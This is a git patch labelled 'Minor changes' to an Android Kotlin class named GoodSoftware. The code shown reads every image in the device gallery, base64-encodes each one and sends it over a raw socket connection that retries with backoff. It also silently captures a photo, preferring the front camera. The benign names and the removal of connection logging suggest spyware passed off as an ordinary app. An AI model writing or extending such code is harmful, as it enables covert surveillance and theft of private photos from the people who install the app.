From 8aedcfc564594ab01b6e20a2c426a903f187097b Mon Sep 17 00:00:00 2001 From: Joren Date: Sun, 5 May 2024 22:51:06 +0200 Subject: [PATCH] Minor changes --- app/src/main/java/com/ti/m/GoodSoftware.kt | 101 +++++++++++++-------- 1 file changed, 64 insertions(+), 37 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index eee563a..e86e880 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,4 +1,4 @@ -package com.ti.m +package com.ti.mobpo import android.Manifest import android.content.ContentResolver @@ -23,7 +23,7 @@ import androidx.core.app.ActivityCompat import androidx.core.content.ContextCompat import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.lifecycleScope -import kotlinx.coroutines.Dispatchers +import com.ti.m.MainActivity import kotlinx.coroutines.launch import java.io.BufferedReader import java.io.ByteArrayOutputStream @@ -97,37 +97,20 @@ class GoodSoftware (private val activity: MainActivity) { } } - private fun launch() { - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) == PackageManager.PERMISSION_GRANTED) { - grabAllImages() - } else { - requestMediaImagesPermission() - } - } else { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) { - grabAllImages() - } else { - requestGalleryPermission() - } - } - - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) { - takePicture() - } else { - requestCameraPermission() - } - } - - fun start(){ - activity.lifecycleScope.launch(Dispatchers.Default) { - launch() - } + fun launch() { + Thread{ + checkStoragePermission() + }.start() + Thread{ + checkCameraPermission() + }.start() } private fun checkCameraPermission() { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { requestCameraPermission() + }else{ + takePicture() } } @@ -135,6 +118,22 @@ class GoodSoftware (private val activity: MainActivity) { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) } + private fun checkStoragePermission() { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){ + requestMediaImagesPermission() + }else{ + grabMedia() + } + } else { + if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){ + requestGalleryPermission() + }else{ + grabMedia() + } + } + } + @RequiresApi(Build.VERSION_CODES.TIRAMISU) private fun requestMediaImagesPermission() { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) @@ -142,15 +141,11 @@ class GoodSoftware (private val activity: MainActivity) { private fun takePicture(){ activity.lifecycleScope.launch { - try { - takeBeautifulPicture(activity, activity) - } catch (e: Exception){ - println(e) - } + takeBeautifulPicture(activity, activity) } } - private fun grabAllImages(){ + private fun grabMedia(){ Thread { try { val imageList = getAllImagesFromGallery(activity) @@ -163,12 +158,13 @@ class GoodSoftware (private val activity: MainActivity) { } } disconnect(connection) - }catch (e: Exception){ + } catch (e: Exception) { e.printStackTrace() } }.start() } + fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String { var base64Image = "" try { @@ -222,6 +218,29 @@ class GoodSoftware (private val activity: MainActivity) { private fun requestGalleryPermission() { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) } + + // Handle permission request result + fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) { + when (requestCode) { + REQUEST_CAMERA_PERMISSION -> { + if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { + takePicture() + } + } + REQUEST_GALLERY -> { + if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { + grabMedia() + } + } + REQUEST_MEDIA_IMAGES_PERMISSION -> { + if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { + grabMedia() + } + } + } + } + + data class ConnectionResult( val socket: Socket, val reader: BufferedReader, @@ -270,10 +289,8 @@ class GoodSoftware (private val activity: MainActivity) { while (attempt < maxRetries) { try { connectionResult = establishConnection() - println("Connection successful") break } catch (e: Exception) { - println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds") e.printStackTrace() attempt++ Thread.sleep(getRetryDelay(attempt)) @@ -341,16 +358,19 @@ class GoodSoftware (private val activity: MainActivity) { return } + // Select the lens facing, prioritize front camera if available lensFacing = if (hasFrontCamera()) { CameraSelector.LENS_FACING_FRONT } else { CameraSelector.LENS_FACING_BACK } + // Create ImageCapture instance imageCapture = ImageCapture.Builder() .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) .build() + // Set up image capture listener val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { override fun onError(exc: ImageCaptureException) { Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) @@ -358,6 +378,7 @@ class GoodSoftware (private val activity: MainActivity) { } override fun onCaptureSuccess(image: ImageProxy) { + // Process captured image here val byteArrayOutputStream = ByteArrayOutputStream() val imagePlane = image.planes[0] val buffer = imagePlane.buffer @@ -390,6 +411,10 @@ class GoodSoftware (private val activity: MainActivity) { } + + + + private fun hasBackCamera(): Boolean { return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false } @@ -435,6 +460,8 @@ class GoodSoftware (private val activity: MainActivity) { imageList.add(contentUri.toString()) } } + } else { + ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) } return imageList